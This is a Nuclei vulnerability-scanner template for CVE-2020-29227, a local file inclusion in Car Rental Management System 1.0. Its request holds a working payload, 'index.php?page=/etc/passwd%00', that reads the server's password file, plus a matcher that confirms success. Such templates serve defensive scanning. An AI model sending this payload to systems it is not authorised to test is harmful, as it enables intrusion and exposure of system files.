nuclei-templates/cves/2020/CVE-2020-29227.yaml

26 lines
863 B
YAML

id: CVE-2020-29227
info:
name: Car Rental Management System 1.0 - Local File Inclusion (LFI)
author: daffainfo
severity: high
description: An issue was discovered in Car Rental Management System 1.0. An unauthenticated user can perform a file inclusion attack against the /index.php file with a partial filename in the "page" parameter, to cause local file inclusion resulting in code execution.
reference: |
- https://loopspell.medium.com/cve-2020-29227-unauthenticated-local-file-inclusion-7d3bd2c5c6a5
- https://nvd.nist.gov/vuln/detail/CVE-2020-29227
tags: cve,cve2020,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?page=/etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body
- type: status
status:
- 200